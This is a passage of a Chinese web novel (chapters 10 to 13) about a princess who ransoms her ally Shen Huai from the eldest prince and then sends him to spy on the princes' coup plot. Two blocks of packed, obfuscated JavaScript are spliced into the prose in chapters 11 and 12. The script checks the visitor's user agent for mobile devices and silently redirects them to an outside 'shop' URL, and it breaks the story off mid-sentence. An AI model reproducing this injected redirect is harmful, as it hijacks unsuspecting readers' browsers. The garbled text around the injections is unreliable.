第二天,消息传来——沈小公爷昨夜私闯大皇子府,被当场拿获。大皇子说他是刺客,要将他交给刑部审问。 昀宁站在窗前,听着这个消息,一动不动。 阿蘅在一旁哭得稀里哗啦。 “殿下,怎么办?小公爷他……” 昀宁没有说话。 她只是看着窗外的天空,看着那片灰蒙蒙的天,看着那些飞来飞去的鸟。 她想起他第一次见她的时候,笑着对她说“小公子莫要乱跑”。 她想起他在朝堂上站出来,说“长公主殿下该参与此事”。 她想起他在摘星阁里,看着她的眼睛,说“无论殿下想做什么,臣都在”。 她想起他最后推她的那一下,想起他说“这一次,让臣替您挡一挡”。 她闭上眼睛,深深地吸了一口气。 “阿蘅。” 阿蘅抬起头。 昀宁说:“备车,本宫要去大皇子府。” 阿蘅愣住了。 “殿下,您去大皇子府?那可是……” 昀宁看着她。 “那是龙潭虎穴,本宫也要去。” 她顿了顿,又说:“本宫不能让他一个人,在那里等死。” ——第十章完—— 11. 金枝玉叶 11 马车在青石板路上疾驰,车轮碾过积水,溅起一片泥点。 昀宁坐在车里,脊背挺得笔直。阿蘅在一旁急得直掉泪,想说什么又不敢说,只是一个劲儿地绞着手帕。 “殿下,到了。” 车夫的声音从外面传来。 昀宁掀开车帘,看见一座气势恢宏的府邸。朱红的大门,铜钉锃亮,门前蹲着两尊石狮子,张牙舞爪,像是要吃人。 大皇子府。 她下了车,朝大门走去。 “站住!”门前的侍卫拦住她,“什么人?” 昀宁抬起头,看着他们。 “本宫是长公主,要见大皇子。” 侍卫们愣了一下,面面相觑。其中一个反应过来,连忙往里跑。 片刻后,一个管事模样的人出来,点头哈腰地行礼。 “长公主殿下,大皇子有请。” 昀宁跟着他往里走。 穿过影壁,绕过回廊,最后停在一间厅堂前。管事推开门,侧身让开。 “殿下请。” 昀宁走进去。 厅堂很大,陈设奢华。紫檀木的桌椅,一人高的花瓶,墙上挂着名人字画。昀启坐在主位上,手里捧着一盏茶,正慢慢地品着。 见她进来,他放下茶盏,笑了笑。 “长公主殿下大驾光临,本王有失远迎,恕罪恕罪。” 昀宁没有理他的客套,直接问:“沈淮在哪儿?” 昀启挑了挑眉。 “沈小公爷?本王不知道殿下在说什么。” 昀宁看着他,目光冰冷。 “大皇子,明人不说暗话。昨夜沈淮在你府上被抓,满京城都知道了。你把他关在哪儿?” 昀启沉默了一瞬,忽然笑了。 “殿下果然爽快。”他站起身,走到昀宁面前,居高临下地看着她,“不错,沈淮是在本王手上。但本王想问殿下一句——他是殿下什么人,值得殿下亲自跑来要人?” 昀宁没有回答。 昀启的目光在她脸上转了一圈,笑容更深了。 “本王听说,沈小公爷和殿下走得很近。朝会上替殿下说话,夜里陪殿下查案,连私闯本王府邸这种事,都陪着殿下一起来。”他顿了顿,凑近了些,“殿下,你们是什么关系?” 昀宁退后一步,看着他。 “大皇子,”她说,“本宫和沈淮是什么关系,不关你的事。本宫今日来,是想和你做个交易。” 昀启挑了挑眉。 “交易?什么交易?” 昀宁说:“放了沈淮,本宫把李彦交给你。” 昀启的眼睛微微眯起。 “他在本宫手里。只要你放了沈淮,本宫就把李彦给你。你杀了他也好,放了他也好,本宫都不管。” 昀启看着她,看了很久。 然后他忽然大笑起来。 “哈哈哈哈……”他笑得前仰后合,笑得眼泪都快出来了,“殿下,殿下,你真是……你真是让本王刮目相看!” 他笑够了,直起身,看着昀宁。 “殿下,你知道李彦是什么人吗?他是李崇的儿子,是周延的棋子,是能指认本王的关键证人。你为了一个沈淮,要把李彦交给本王?” 昀宁没有说话。 昀启看着她,目光里有一种奇怪的东西。 “殿下,”他说,“本王忽然很好奇——沈淮对你,到底有多重要?” 昀宁的心跳漏了一拍。 但她脸上什么也没表现出来。 “大皇子,”她说,“你只需要告诉本宫,这交易,你做不做?” 昀启沉默了一瞬,然后笑了。 “做。”他说,“为什么不做好?” 他转身走回座位,重新端起茶盏。 “但本王有一个条件。” 昀宁看着他。 “什么条件?” 昀启说:“李彦,本王要活的。而且,你要亲自把他送到本王府上。” 昀宁的手指微微收紧。 “这有什么区别?” 昀启笑了笑。 “当然有区别。若是殿下亲自送来,那就是殿下亲手把李彦交给本王。日后若是有人问起,本王也好说——这是长公主殿下的意思。” 昀宁看着他,目光冷得像冰。 “大皇子,你这是要拉本宫下水。” 昀启摊了摊手。 “殿下误会了。本王只是想让殿下做个见证而已。” 他顿了顿,又说:“当然,殿下若是不愿意,那就算了。沈淮嘛……本王正好可以慢慢审。他私闯本王府邸,还杀了本王好几个侍卫,按律当斩。本王就算现在把他杀了,也没人能说什么。” 昀宁的指甲嵌进掌心。 疼。 但她顾不上。 她只是看着昀启,看着他那张笑脸,心里涌起一股杀意。 “好。”她说,“本宫答应你。” 昀启的眼睛亮了一下。 “痛快!”他站起身,“那咱们就一言为定。明日午时,殿下带着李彦来换人。过期不候。” 昀宁点点头,转身往外走。 走到门口,她忽然停下脚步,回过头。 “大皇子。” 昀启看着她。 昀宁说:“沈淮若是有任何损伤,本宫不会放过你。” 昀启笑了笑。 “殿下放心,本王会好好招待沈小公爷的。” 昀宁没有再说话,推门走了出去。 从大皇子府出来,天已经黑了。 昀宁坐在马车里,闭着眼睛,一言不发。 阿蘅小心翼翼地凑过来。 “殿下,您真的要拿李彦去换沈小公爷?” 昀宁没有睁眼。 “嗯。” 阿蘅急了:“可是李彦是唯一的证人啊!要是把他交给大皇子,那大皇子他们就……” “本宫知道。”昀宁打断她。 阿蘅愣住了。 “殿下知道,那您还……” 昀宁睁开眼睛,看着她。 阿蘅看见那双眼睛,忽然说不出话来。 那双眼睛里有疲惫,有无奈,还有一种她从未见过的东西。 “阿蘅,”昀宁说,“本宫没有别的办法。” 阿蘅的眼泪掉下来。 “殿下……” 昀宁没有再说话。 她只是靠在车壁上,看着车顶,看着那一方小小的空间。 她想起沈淮最后推她的那一下,想起他说“这一次,让臣替您挡一挡”。 她不能让他死在那里。 不能。 第二天午时,昀宁准时到了大皇子府。 她身后跟着一辆马车,马车里坐着李彦。 李彦被五花大绑,嘴里塞着布团,眼睛被黑布蒙着。他不知道要被带到哪儿去,只是不停地挣扎,发出呜呜的声音。 昀宁下了车,看着大皇子府的大门。 门开着,昀启站在门口,笑眯眯地看着她。 “殿下果然守信。” 昀宁没有理他,只是问:“沈淮呢?” 昀启拍了拍手。 片刻后,两个人架着沈淮从里面走出来。 沈淮浑身是伤,脸上青一块紫一块,衣裳上全是血。他低着头,像是昏过去了。 昀宁的心猛地一沉。 “你们对他做了什么?” 昀启摊了摊手。 “殿下别误会。他昨夜杀了本王好几个侍卫,本王的人气不过,打了他几下而已。死不了。” 昀宁握紧了拳头。 但她没有发作。 她只是挥了挥手。 “放人。” 昀启的人也挥了挥手。 那两个人把沈淮往前一推,沈淮踉跄几步,倒在地上。 昀宁快步上前,扶起他。 “沈淮?沈淮!” 沈淮的眼睛微微动了动,艰难地睁开一条缝。 看见是她,他的嘴角弯了弯,像是在笑。 “殿下……”他声音沙哑,几乎听不清,“您……您怎么来了?” 昀宁的眼眶发酸。 “别说话。”她说,“本宫带你走。” 她扶着沈淮站起来,一步一步往马车走去。 身后传来昀启的声音。 “殿下,李彦呢?” 昀宁停下脚步,没有回头。 “在马车里。” 昀启笑了笑。 “多谢殿下。”他顿了顿,又说,“殿下,今日之事,本王会记住的。日后若有机会,本王一定好好报答。” 昀宁听出他话里的威胁。 但她没有理他。 她只是扶着沈淮,一步一步往前走。 把他扶上马车,她自己也上了车。 “走。”她说。 马车缓缓启动,朝皇城的方向驶去。 车厢里,沈淮靠在车壁上,闭着眼睛,脸色苍白得像纸。 昀宁看着他,心里涌起一股复杂的情绪。 有心疼,有愧疚,还有一丝说不清的东西。 “沈淮。”她轻声叫他。 沈淮睁开眼睛,看着她。 “殿下,”他说,“您不该来。” 昀宁没有说话。 沈淮继续说:“李彦是唯一的证人,您把他交出去,就……” “本宫知道。”昀宁打断他。 沈淮看着她,目光里有不解。 “那您为什么还……” 昀宁沉默了一瞬,然后开口。 “因为你。” 沈淮愣住了。 昀宁看着他,眼眶微微发红。 “沈淮,”她说,“本宫不能让你死在那里。” 沈淮看着她,看了很久。 然后他忽然笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣值得吗?” 昀宁没有回答。 她只是转过头,看着车窗外。 窗外,阳光很刺眼。 她没有说话。 但她心里有一个声音,在说—— 值得。 当然值得。 回到宫里,昀宁让人把沈淮送到一处僻静的偏殿,又宣了太医来给他诊治。 太医看过之后,出来禀报。 “殿下,沈小公爷伤得不轻,但大多是皮外伤,养一养就好了。只是……” 他顿了顿。 “只是什么?” 太医说:“他右手的中指和无名指,被人打断了。就算养好了,以后也不能再握刀剑了。” 昀宁的手指微微收紧。 不能握刀剑。 对于一个武将世家的子弟来说,这意味着什么,她再清楚不过。 “能接好吗?” 太医摇摇头:“臣尽力,但……怕是恢复不到从前了。” 昀宁沉默了很久。 “去吧。” 太医退下。 昀宁站在偏殿门口,看着里面。 沈淮躺在床上,闭着眼睛,像是睡着了。 她忽然想起第一次见他的时候。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316912|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她站在门口,看了他很久。 然后她转身,走了。 她怕再看下去,会忍不住哭出来。 三天后,沈淮醒了。 昀宁去看他的时候,他正靠在床上,看着窗外发呆。 听见脚步声,他转过头,看见是她,笑了笑。 “殿下。” 昀宁走过去,在他床边坐下。 “好些了吗?” 沈淮点点头。 “好多了。太医说,再养几天就能下床了。” 昀宁看着他,沉默了一瞬。 “你的手……” 沈淮低头看了看自己的右手。中指和无名指上缠着厚厚的绷带,动不了,也握不紧。 他笑了笑。 “没事。臣本来也不是靠刀剑吃饭的。” 昀宁知道他在安慰她。 但她没有拆穿。 “沈淮,”她开口,“对不起。” 沈淮愣了一下。 “殿下说什么?” 昀宁说:“若不是本宫,你不会变成这样。” 沈淮看着她,看了很久。 然后他忽然笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣说过,臣做这些,不是为了殿下的谢,也不是为了让殿下觉得亏欠。” 他顿了顿,又说:“臣做这些,是因为臣想做。所以,殿下不必说对不起。” 昀宁看着他,心里涌起一股暖意。 她忽然想握住他的手。 但她没有。 她只是站起身,走到窗前,看着外面的天空。 “沈淮,”她说,“李彦死了。” 沈淮的脸色微微一变。 “怎么死的?” 昀宁说:“昀启杀的。就在本宫把他送去的当天夜里。对外说是畏罪自尽,但谁都知道,是灭口。” 沈淮沉默了一瞬。 “那我们的证据……” “没有了。”昀宁说,“账册还在,但账册只能证明他们在收买官员,不能证明他们谋反。唯一的活口,死了。” 沈淮没有说话。 昀宁看着窗外,声音很轻。 “本宫以为自己做了对的事。本宫以为,拿李彦换你,值得。但现在……” 她没有说下去。 沈淮看着她,看着她的背影。 那个背影单薄得很,像是一阵风就能吹倒。但她站在那里,脊背挺得笔直。 他忽然开口。 “殿下。” 昀宁没有回头。 沈淮说:“殿下做的,是对的。” 昀宁的肩膀微微动了动。 沈淮继续说:“李彦死了,我们可以再找别的证据。但臣若是死了,就什么都没了。” 他顿了顿,声音轻了下去。 “殿下,您救的是臣的命。臣这条命,以后就是殿下的。” 昀宁转过身,看着他。 阳光下,他的眼睛亮亮的,像是山间的清泉。 她忽然想起很久以前,母后说过的一句话。 “昀宁,这世上,最难求的,是一个愿意把命给你的人。” 她有了。 她看着他那双亮亮的眼睛,心里忽然涌起一个念头—— 她想护着他。 护他一辈子。 但她不知道,这个念头,有多奢侈。 她也不知道,命运这东西,从来不由人。 那之后的日子,过得很平静。 沈淮养好了伤,回了沈家。昀宁依旧每日去乾清宫听朝,依旧每日去东宫陪昀昭下棋。 李彦的死,像是一块石头沉入水底,激起的涟漪很快就消失了。 朝堂上,昀启依旧每日上朝,依旧笑眯眯的,像是什么都没发生过。 但昀宁知道,他什么都不会忘记。 他在等。 等一个机会。 而她,也在等。 等一个能把他们一网打尽的机会。 日子一天一天过去,转眼间,秋天来了。 御花园里的树叶开始变黄,风一吹,哗啦啦地往下落,铺了满地金黄。 那一日,昀宁正在东宫陪昀昭下棋,阿蘅匆匆进来。 “殿下,沈小公爷求见。” 昀宁放下棋子,看了昀昭一眼。 昀昭懂事地点点头:“皇姐去吧,我自己琢磨琢磨。” 昀宁笑了笑,起身往外走。 沈淮站在摘星阁侧殿里,见她进来,行了一礼。 “殿下。” 昀宁看着他,忽然觉得有些不对。 他的脸色很难看,像是有什么大事。 “怎么了?” 沈淮从袖中取出一份密报,递给她。 “殿下请看。” 昀宁接过来,展开。 密报上只有一行字—— “二皇子昀衍,已秘密回京。” 昀宁的手指微微收紧。 二皇子昀衍。 昀启的胞弟,先帝的第二个儿子。 当年夺嫡失败后,他被派去守皇陵,一守就是五年。 现在,他秘密回京了。 “什么时候的事?”昀宁问。 沈淮说:“三天前。他扮成商队的人,混进京城的。臣的人也是昨天才发现。” 昀宁沉默了一瞬。 “他来做什么?” 沈淮看着她,目光凝重。 “殿下,臣怀疑——他们要动手了。” ——第十一章完—— 12. 血色鸳鸯 1 秋意渐深。 御花园里的银杏叶黄透了,风一吹,簌簌地往下落,在地上铺了厚厚一层。昀宁踩着那些叶子走过,脚下发出细碎的声响,像是什么东西在轻轻碎裂。 她刚从乾清宫出来,朝会散了,昀昭回了东宫,大臣们各自散去。但她的心里,始终压着一块石头。 二皇子昀衍秘密回京。 这件事,她没有告诉任何人,包括昀昭。 不是不想说,是不知道怎么说。 昀衍是昀启的胞弟,兄弟二人相差三岁,从小一起长大,感情深厚。当年夺嫡,昀衍虽然没争,但他一直站在昀启那边。父皇死后,他被派去守皇陵,一守就是五年。 五年了。 他忽然回来,为什么? “殿下。” 一个声音从身后传来。 昀宁回过头,看见沈淮站在几步之外。他穿着一身靛蓝色的长袍,右手垂在身侧,那两根伤指依旧缠着薄薄的绷带,在袖口若隐若现。 “小公爷。”昀宁点点头,“你怎么在这儿?” 沈淮走上前,和她并肩往前走。 “臣让人盯着二皇子的动向。”他压低声音,“昨夜,他去了大皇子府。” 昀宁的脚步顿了顿,随即继续往前走。 “待了多久?” “半个时辰。出来的时候,脸色不好看。” 昀宁沉默了一瞬。 “兄弟见面,脸色不好看?” 沈淮摇摇头。 “臣也觉得奇怪。他们五年没见,按理说应该高兴才对。但臣的人说,二皇子出来的时候,脸色阴沉得能滴出水来。” 昀宁没有说话。 她看着脚下的银杏叶,一片一片,金黄金黄的。 她忽然想起一件事。 “沈淮,”她开口,“你知道昀衍是什么样的人吗?” 沈淮想了想,说:“臣没见过他。只知道他是先帝的二皇子,大皇子的胞弟,当年夺嫡失败后,被派去守皇陵。” 昀宁摇摇头。 “不是这些。本宫问的是,他这个人。” 沈淮看着她,目光里有一丝询问。 昀宁说:“本宫小时候见过他几次。那时候本宫还小,他也就十五六岁。有一年秋天,父皇带我们去围猎,昀衍也在。围猎的时候,昀启射中了一头鹿,高兴得不得了。昀衍站在旁边,什么都没说,只是笑了笑。” 她顿了顿,继续说:“后来本宫才知道,那头鹿,是昀衍先追上的。他故意让给昀启的。” 沈淮的眉头微微皱起。 “殿下是说……” 昀宁看着他。 “本宫是说,昀衍这个人,不简单。他能让,就说明他不在乎。他不争,就说明他想要的,可能比我们想的更大。” 沈淮沉默了很久。 风从他们身边吹过,卷起地上的银杏叶,打着旋儿,飘向远处。 “殿下,”他开口,“若真是这样,那我们面对的,就不只是昀启一个人了。” 昀宁点点头。 “本宫知道。” 她抬起头,看着远处的天空。 天很蓝,有几朵白云悠悠地飘着,像是无忧无虑。 但她知道,那只是假象。 这天底下,哪有什么无忧无虑。 那天夜里,昀宁去了东宫。 昀昭还没睡,正趴在案上写字。见她进来,他抬起头,咧嘴一笑。 “皇姐!” 昀宁走过去,在他旁边坐下。 “写什么呢?” 昀昭把纸推给她看。上面写着一行字——“民为贵,社稷次之,君为轻。” 昀宁看着那行字,心里微微一酸。 “谁教你的?” 昀昭说:“太傅教的。他说,当皇帝的要记住,老百姓比什么都重要。” 昀宁点点头。 “太傅说得对。” 昀昭看着她,忽然问:“皇姐,你是不是有心事?” 昀宁愣了一下。 昀昭说:“你每次有心事的时候,就会来找我。陪我下棋,看我写字,坐一会儿就走。” 昀宁看着他,心里涌起一股复杂的情绪。 她的小昭,真的长大了。 “昀昭,”她开口,“姐姐问你一件事。” 昀昭点点头。 昀宁说:“如果有一天,有人告诉姐姐,说昀衍皇叔想害你,姐姐该怎么办?” 昀昭想了想,说:“那就查清楚。有证据就抓,没证据就盯着。” 昀宁看着他。 “你不怕?” 昀昭摇摇头。 “有皇姐在,我不怕。” 她伸出手,用力把昀昭揽进怀里。 昀昭没有挣扎,只是把脸埋在她肩头。 “皇姐,”他闷闷地说,“你会一直在的,对不对?” 昀宁闭上眼睛,轻轻拍着他的背。 “对。”她说,“姐姐一直在。” 但她知道,这句话,她不一定能做到。 接下来的日子,京城里的气氛越来越诡异。 表面上一切如常,朝会照开,奏折照批,官员们照常往来。但暗地里,每个人都在盯着别人,每个人都藏着心思。 昀宁让暗卫盯死了昀启和昀衍的府邸。每天都有密报送进来——谁去了,谁走了,待了多久,说了什么。 但这些东西,拼凑不出完整的图景。 她只知道他们在动,却不知道他们要怎么动。 那一日,昀宁正在摘星阁里看密报,阿蘅匆匆进来。 “殿下,沈小公爷求见。” 昀宁放下密报:“让他进来。” 沈淮走进来,脸色比前几日更难看了。 “殿下,”他说,“出事了。” 昀宁的心猛地一沉。 “什么事?” 沈淮从袖中取出一份文书,递给她。 “殿下请看。” 昀宁接过来,展开。 那是一份诏书。 确切地说,是一份拟好的禅位诏书。 上面写着——当今皇帝昀昭,年幼多病,不堪大任,自愿禅位于大皇子昀启。 昀宁的手指微微收紧。 “这东西从哪儿来的?” 沈淮说:“臣的人混进大皇子府,从一个幕僚的书房里偷出来的。那个幕僚,就是上次那封信的主人。” 昀宁看着那份诏书,看了很久。 上面盖着传国玉玺的印。 但那印,是假的。 可假的又怎样?只要他们兵临城下,逼着昀昭签了真的,假的就能变成真的。 “殿下,”沈淮说,“他们这是要逼宫。” 昀宁没有说话。 她把诏书折起来,放在桌上。 “什么时候?” 沈淮摇摇头:“不知道。但这东西既然已经拟好了,就说明他们随时可能动手。” 昀宁沉默了很久。 窗外,秋风呼啸,卷起满地的落叶。 她忽然想起父皇临终前的眼神。 她想起昀昭站在灵堂里,哭得浑身发抖。 “护着你弟弟,这是你的命。” 她的命。 “沈淮。”她开口。 沈淮看着她。 昀宁说:“本宫需要你去做一件事。” 沈淮点点头:“殿下请讲。” 昀宁看着他,目光里有一种沈淮从未见过的东西。 “本宫需要你,去接近昀衍。” 沈淮愣住了。 “殿下?” 昀宁说:“昀启那边,我们盯得太紧,他们不会信任任何人。但昀衍不一样。他刚回来,在京里没有根基,需要拉拢人手。你是沈家的继承人,是京城里最值得拉拢的人之一。” 沈淮的脸色微微一变。 “殿下是想让臣去做细作?” 昀宁点点头。 “只有从内部,才能知道他们到底想干什么,什么时候动手。” 沈淮沉默了很久。 他看着昀宁,目光里有一种复杂的东西。 “殿下,”他开口,“您知道这意味着什么吗?” 昀宁点点头。 “知道。意味着你要和他们周旋,要取得他们的信任,要说一些你不想说的话,做一些你不想做的事。万一被识破,你会死。” 沈淮看着她。 “那殿下还让臣去?” 昀宁没有说话。 她只是看着他,看着他那双亮亮的眼睛。 她不想让他去。 她怕他死了。 但她更怕昀昭死了。 “沈淮,”她开口,声音很轻,“本宫没有别的办法。” 沈淮看着她,看了很久。 然后他忽然笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣去。” 昀宁的眼眶忽然有些发酸。 “沈淮……” 沈淮打断她。 “殿下,臣说过,臣这条命,是殿下救的。殿下想怎么用,就用。” 他顿了顿,又说:“更何况,这件事,不只是为了殿下。也是为了这大燕的江山。” 昀宁看着他,说不出话来。 她忽然想握住他的手。 想告诉他,她不想让他去,想告诉他,她怕他死了,想告诉他,她…… 她没有说。 她只是点了点头。 “小心。”她说。 沈淮笑了笑。 “殿下放心。臣会小心的。” 他转身往外走。 走到门口,他忽然停下脚步,回过头。 “殿下。” 昀宁看着他。 沈淮说:“无论臣做什么,说什么,殿下都要记住——那都是假的。” 他顿了顿,又说:“只有一件事是真的。” 昀宁的心跳漏了一拍。 “什么事?” 沈淮看着她,目光清澈。 “臣的心,是真的。” 说完,他推门走了出去。 昀宁站在原地,看着那扇关上的门,许久没有动。 窗外,秋风依旧呼啸。 她忽然想起很久以前,母后说过的一句话。 “昀宁,这世上,最难还的,是人心。” 她现在懂了。 因为她欠他的,怕是这辈子都还不清了。 沈淮开始频繁出入大皇子府。 一开始只是送些礼,说是替沈家向大皇子问安。后来就开始留下来喝茶,再后来,就被请进书房,一坐就是半天。 昀宁的人盯着他的一举一动。 那些密报送进来,她一条一条看,看完就烧。 “今日申时,沈淮入大皇子府,酉时三刻方出。” “今日戌时,沈淮与二皇子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316913|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密谈,内容不详。” “今日午时,沈淮与大皇子、二皇子共进午膳,席间言笑甚欢。” 每一条,都像是一根针,扎在她心上。 她知道他是去做细作的。 她知道他说的话、做的事,都是假的。 但她还是会忍不住想——他和那些人坐在一起,言笑甚欢的时候,心里在想什么? 他会不会,有那么一刻,忘记了自己是谁? 那一日,昀宁终于忍不住,让人把沈淮叫来。 他来了,站在她面前,依旧是那副从容的样子。 “殿下。” 昀宁看着他,看了很久。 “沈淮,”她开口,“你还好吗?” 沈淮愣了一下,随即笑了。 “殿下放心,臣很好。” 昀宁看着他,忽然问:“你每天和他们在一起,说什么?” 沈淮沉默了一瞬,说:“说一些臣不想说的话。” 昀宁的心微微一疼。 “那他们信你了吗?” 沈淮点点头。 “信了七八分。” 昀宁沉默了一瞬。 “还需要多久?” 沈淮说:“快了。他们已经和臣说了,动手的日子。” 昀宁的心猛地一跳。 “什么时候?” 沈淮看着她,目光凝重。 “十月二十。” 昀宁的手指微微收紧。 十月二十。 今天是十月初五。 还有十五天。 “他们打算怎么动手?” 沈淮说:“禁军北营虽然没了,但他们还有西营。西营的统领,是周延的人。到时候,他们会从西门进城,先控制皇宫,再逼陛下禅位。” 昀宁沉默了一瞬。 “薛明那边呢?” 沈淮说:“臣已经和薛明联系上了。南营的人,到时候会从南门绕到西门后面,打他们一个措手不及。” 昀宁点点头。 “沈家的家兵呢?” 沈淮说:“随时待命。” 昀宁看着他,心里涌起一股复杂的情绪。 有感激,有心疼,还有一丝说不清的…… “沈淮,”她开口,“等这件事了了,本宫……” 她没说完。 沈淮看着她,目光温柔。 “殿下想说什么?” 昀宁摇摇头。 “没什么。”她说,“你小心。” 沈淮笑了笑。 “殿下放心。” 他走了。 昀宁站在原地,看着他的背影消失在门外。 窗外,秋风依旧。 她忽然想,等这件事了了,她一定要告诉他。 告诉他,她…… 她没有想下去。 因为她不知道,她有没有那个机会。 十月十五。 离动手还有五天。 那一日,沈淮照常去了大皇子府。 但他进去之后,再也没有出来。 昀宁等了一天一夜。 第二天,消息传来—— 沈淮被抓了。 昀宁听到这个消息的时候,正在摘星阁里抄经。 她的手猛地一抖,一滴墨落在纸上,洇开,像是一滴血。 “怎么回事?”她问。 来报信的暗卫跪在地上,声音发颤。 “殿下,沈小公爷的身份,暴露了。” 昀宁的手指微微收紧。 “怎么暴露的?” 暗卫说:“大皇子那边,早就怀疑他了。他们故意说了一个假的日子,让他传出来。结果薛明那边有了动静,他们就知道了。” 昀宁闭上眼睛。 假的日子。 十月二十。 那是假的。 她忽然想起沈淮说过的话。 “无论臣做什么、说什么,殿下都要记住——那都是假的。” 可他没有告诉她,那个日子,也是假的。 他不知道那是假的。 他以为那是真的。 所以他传给了她。 所以薛明动了。 所以他们都知道了。 “殿下,”暗卫说,“大皇子府那边传来消息,说明日午时,要在城门口处决沈小公爷。罪名是——勾结外敌,意图谋反。” 昀宁的眼睛猛地睁开。 谋反。 沈淮。 这两个词,怎么会连在一起? 她忽然想起,从一开始,她就知道一件事—— 沈淮,最后会死。 会以“逆反”的罪名,丢掉性命。 她一直知道。 但她没想到,这一天,来得这么快。 她也没想到,送他走上这条路的,是她自己。 “备车。”她站起身。 阿蘅愣住了。 “殿下,您去哪儿?” 昀宁看着她,目光冰冷。 “去大皇子府。” 阿蘅急了:“殿下,不能去!您去了,就是自投罗网!” 昀宁没有说话。 她只是看着窗外。 窗外,天很阴,像是要下雨。 “阿蘅,”她开口,声音很轻,“本宫欠他的。” 她顿了顿,又说:“这一次,本宫不能让他一个人死。” ——第十二章完—— 13. 血色鸳鸯 2 马车在青石板路上疾驰。 昀宁坐在车里,闭着眼睛,听着车轮碾过路面的声音。阿蘅在一旁急得直掉泪,想说什么又不敢说,只是一个劲儿地绞着手帕。 “殿下,”车夫的声音从外面传来,“到了。” 昀宁睁开眼睛。 车窗外,大皇子府的大门在晨光中显得格外狰狞。朱红的门,铜钉锃亮,门前的石狮子张着大嘴,像是在等着吞噬什么。 她下了车,朝大门走去。 这一次,没有人拦她。 门开着,像是一张等着猎物自投罗网的嘴。 昀宁走进去,穿过影壁,绕过回廊,最后停在一间厅堂前。厅堂的门敞开着,里面坐着两个人。 昀启坐在主位上,手里捧着一盏茶,正慢慢地品着。他旁边坐着另一个人——三十岁上下,面容清俊,眉眼间和昀启有几分相似,却多了几分沉静。 昀衍。 二皇子。 “长公主殿下大驾光临,”昀启放下茶盏,笑了笑,“本王有失远迎,恕罪恕罪。” 昀宁没有理他,只是看着昀衍。 “二皇子。” 昀衍站起身,朝她行了一礼。 “长公主殿下。” 昀宁看着他,目光平静。 “二皇兄守了五年皇陵,怎么忽然回京了?” 昀衍笑了笑,那笑容很淡,淡得像是什么都没有。 “想回来看看。”他说,“五年了,京城变了不少。” 昀宁点点头。 “是啊,变了不少。有些人死了,有些人还活着。有些人在上面,有些人在下面。” 昀衍看着她,目光里有一丝玩味。 “长公主殿下说话,倒是比从前直接多了。” 昀宁没有接话,只是转向昀启。 “沈淮在哪儿?” 昀启挑了挑眉。 “沈小公爷?殿下是来救他的?” 昀宁说:“本宫是来见他的。” 昀启笑了笑。 “见?见了之后呢?殿下能把他带走吗?” 昀宁看着他。 “大皇子,你想要什么?” 昀启放下茶盏,站起身,走到她面前。 “本王想要什么?”他看着她,目光里有一种奇怪的东西,“本王想要的,殿下给不了。” 昀宁没有说话。 昀启继续说:“沈淮是本王的阶下囚。他私闯本王府邸,杀了本王的人,又在本王面前装模作样,想要套本王的话。这些事,随便哪一件,都够他死一百次。” 他顿了顿,凑近了些。 “殿下,你说,本王凭什么放他?” 昀宁退后一步,看着他。 “那你为什么不直接杀了他?” 昀启笑了。 “因为本王想知道,殿下会不会来。” 昀宁的心微微一沉。 昀启看着她,目光里有一种猎物落网的快意。 “殿下果然来了。”他说,“本王就知道,殿下会来。” 他转身走回座位,重新坐下。 “来人,把沈淮带上来。” 片刻后,两个人架着沈淮从后面走出来。 沈淮浑身是伤,比上次更重。脸上全是血,衣裳被撕得破破烂烂,露出里面一道道触目惊心的伤痕。他被按着跪在地上,低着头,像是连抬头的力气都没有了。 昀宁的手微微收紧。 但她没有动。 她只是看着他。 沈淮似乎感觉到了什么,艰难地抬起头。 看见是她,他的眼睛猛地睁大。 “殿下……”他的声音沙哑,几乎听不清,“您……您怎么又来了?” 昀宁没有说话。 昀启在一旁笑了。 “沈小公爷,长公主殿下是来救你的。你看,她对你多好。” 沈淮看着他,又看着昀宁,目光里忽然涌起一种奇怪的东西。 “殿下,”他说,“您不该来。” 昀宁看着他,忽然问:“沈淮,你是什么时候暴露的?” 沈淮沉默了一瞬,然后笑了。 那笑容很苦。 “殿下,臣从来没有暴露。” 昀宁愣住了。 沈淮看着她,目光里有心疼,有愧疚,还有一丝她看不懂的东西。 “殿下,”他说,“他们是故意的。那个日子,是故意让臣知道的。他们早就知道臣是谁,早就知道臣要做什么。他们让臣传那个假消息,就是为了引蛇出洞。” 昀宁的心猛地一沉。 引蛇出洞。 薛明。 南营。 她忽然想起,那天她让暗卫去查薛明的动静时,暗卫说——薛明那边,似乎有人盯着。 她以为是昀启的人。 原来,盯着薛明的,不只是昀启的人。 还有昀衍的人。 “殿下,”沈淮继续说,“他们从一开始就知道。臣每一次去,每一次和他们说话,他们都知道臣要做什么。他们故意让臣以为取得了信任,故意让臣传那些消息,就是为了……” 他说不下去了。 昀宁站在原地,一动不动。 她看着沈淮,看着他那双满是血污的脸,看着他眼睛里那种复杂的光芒。 她忽然想起他曾经说过的话。 “无论臣做什么、说什么,殿下都要记住——那都是假的。” 可他没说,那些人也会骗他。 他以为他在演戏。 他不知道,那些人和他一起演。 “长公主殿下,”昀衍忽然开口,声音不紧不慢,“臣弟有一事不明,想请教殿下。” 昀宁看向他。 